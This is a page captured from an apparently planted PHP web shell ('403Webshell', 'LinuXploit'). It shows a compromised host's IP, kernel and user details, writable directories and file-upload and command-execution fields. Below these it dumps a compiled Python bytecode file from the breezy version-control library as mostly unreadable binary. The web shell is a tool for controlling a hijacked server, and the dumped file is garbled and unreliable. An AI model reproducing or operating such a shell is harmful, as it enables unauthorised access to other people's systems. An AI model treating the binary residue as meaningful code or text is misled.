403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/bzr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/bzr/__pycache__/repository.cpython-313.pyc
�

p��g����SSKrSSKJrJrJr SSKJr SSKJr SSK	J
r
JrJr SSKJ
r
 "S	S
\
5r"SS\
R\5rg)
�N�)�errors�lockable_files�lockdir)�revision)�	transport)�
Repository�RepositoryFormat�format_registry�)�bzrdirc�V^�\rSrSr%SrS\S'U4SjrSrSrSr	S	r
S
rSrU=r
$)�MetaDirRepository�z�Repositories in the new meta-dir layout.

:ivar _transport: Transport for access to repository control files,
    typically pointing to .bzr/repository.
�RepositoryFormatMetaDir�_formatc�H>�[TU]XU5 URUlg�N)�super�__init__�
_transport)�selfr�a_bzrdir�
control_files�	__class__s    ��7/usr/lib/python3/dist-packages/breezy/bzr/repository.pyr�MetaDirRepository.__init__#s���
����M�:�'�2�2���c�8�URRS5$)zAReturn True if this repository is flagged as a shared repository.�shared-storage�r�has�rs r�	is_shared�MetaDirRepository.is_shared's�����"�"�#3�4�4rc�:�UR5 U(aURRS5 O3URRSSURR5S9 SSS5 g![Ra Nf=f!,(df   g=f)z�Set the policy flag for making working trees when creating branches.

This only applies to branches that use this repository.

The default is 'True'.
:param new_value: True to restore the default, False to disable making
                  working trees.
�no-working-treesr��modeN)�
lock_writer�delete�_mod_transport�
NoSuchFile�	put_bytes�
controldir�_get_file_mode)r�	new_values  r�set_make_working_trees�(MetaDirRepository.set_make_working_trees+s����_�_�
����O�O�*�*�+=�>����)�)�&��$�/�/�2P�2P�2R�*���
��&�0�0�����	�
�s-�B�A2�4B�2B	�B�B	�	B�
Bc�B�URRS5(+$)z<Returns the policy for making working trees on new branches.r'r!r#s r�make_working_trees�$MetaDirRepository.make_working_trees?s���?�?�&�&�'9�:�:�:rc��UR5 URRU5 URR	SURR55 SSS5 g!,(df   g=f)z�Update the feature flags for this branch.

:param updated_flags: Dictionary mapping feature names to necessities
    A necessity can be None to indicate the feature should be removed
�formatN)r*r�_update_feature_flags�control_transportr.�	as_string)r�
updated_flagss  r�update_feature_flags�&MetaDirRepository.update_feature_flagsCsO���_�_�
��L�L�.�.�}�=��"�"�,�,�X�t�|�|�7M�7M�7O�P��
�
�s�AA*�*
A8c���[[RRUR	U5R555nUR
U5 UR[R5 U$)z�Find all parent ids that are mentioned in the revision graph.

:return: set of revisions that are parents of revision_ids which are
    not part of revision_ids themselves
)
�set�	itertools�chain�
from_iterable�get_parent_map�values�difference_update�discard�
_mod_revision�
NULL_REVISION)r�revision_ids�
parent_idss   r�_find_parent_ids_of_revisions�/MetaDirRepository._find_parent_ids_of_revisionsMs^����O�O�)�)�$�*=�*=�l�*K�*R�*R�*T�U�
�
�	�$�$�\�2����=�6�6�7��r)r)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__annotations__rr$r2r5r=rL�__static_attributes__�
__classcell__)rs@rrrs4����'�&�3�5��(;�Q��rrc�j�\rSrSrSrSrSrSrSrSr	\
S5rSrSr
Sr\S	5rS
SjrSrg
)r�[zDCommon base class for the new repositories using the metadir layout.FTc�<�[R"5nXlU$r)r
�BzrDirMetaFormat1�repository_format)r�matchings  r�_matchingcontroldir�+RepositoryFormatMetaDir._matchingcontroldirds���+�+�-��%)�"��rc�n�[R"U5 [RRU5 gr)r
rr
�	BzrFormatr#s rr� RepositoryFormatMetaDir.__init__js$���!�!�$�'����!�!�$�'rc��URU5n[R"US[R5nUR5 U$)z?Create the required files and the initial control_files object.�lock)�get_repository_transportr�
LockableFilesr�LockDir�create_lock)rr�repository_transportrs    r�_create_control_files�-RepositoryFormatMetaDir._create_control_filesnsD�� (�@�@��F��&�4�4� �&�'�/�/�
�
�	�!�!�#��rc��URU5nUR5 URnUSLaUS/-
nUH nURX�R	5S9 M" UH#up�URX�UR
5S9 M% UH#up�URX�UR
5S9 M% UR5 g!UR5 f=f)z!Upload the initial blank content.T)r rr(N)	rhr*r�mkdir�
_get_dir_mode�put_filer0�put_bytes_non_atomic�unlock)rr�dirs�files�
utf8_files�sharedrr�dir�filename�content_stream�
content_bytess            r�_upload_blank_content�-RepositoryFormatMetaDir._upload_blank_contentys����2�2�8�<�
�� � �"�!�,�,�	��T�>��2�3�3�J�	#�������*@�*@�*B��C��,1�(���"�"��8�3J�3J�3L�#��-2�,6�'���.�.��(�2I�2I�2K�/��,6�

� � �"��M� � �"�s�A8C�Cc���URS5nURS5nUR
[SU5$![Ran[R
"U5UeSnAff=f)z�Return the format for the repository object in a_bzrdir.

This is used by brz native formats that have a "format" file in
the repository.  Other methods may be used by different types of
control directory.
Nr8�
repository)rc�	get_bytesr,r-r�NoRepositoryPresent�_find_formatr)�klassrr�
format_string�es     r�find_format�#RepositoryFormatMetaDir.find_format�si��	>� �9�9�$�?�I�%�/�/��9�M��!�!�/�<��O�O���(�(�	>��,�,�X�6�A�=��	>�s�";�A+�A&�&A+Nc�r�[R"UUUUS9 [RRUUUUS9 g)N)�allow_unsupported�recommend_upgrade�basedir)r
�check_support_statusr
r_)rr�r�r�s    rr��,RepositoryFormatMetaDir.check_support_status�sE��	�-�-��/�/��		
�	���-�-��/�/��		.�	
r�)TN)rNrOrPrQrR�rich_root_data�supports_tree_reference�supports_external_lookups�supports_leaving_lock�supports_nesting_repositories�propertyr\rrhrx�classmethodr�r�rTr�rrrr[se��N��N�#�� %�� ��$(�!�
����
(�	�#�*�P��P�BF�
rr)rA�rrrrrHrr,r{r	r
rr
rr_rr�rr�<module>r�sC��"�.�.�(�*�F�F��>�
�>�BP
�f�.�.�0@�P
r

Youez - 2016 - github.com/yon3zu
LinuXploit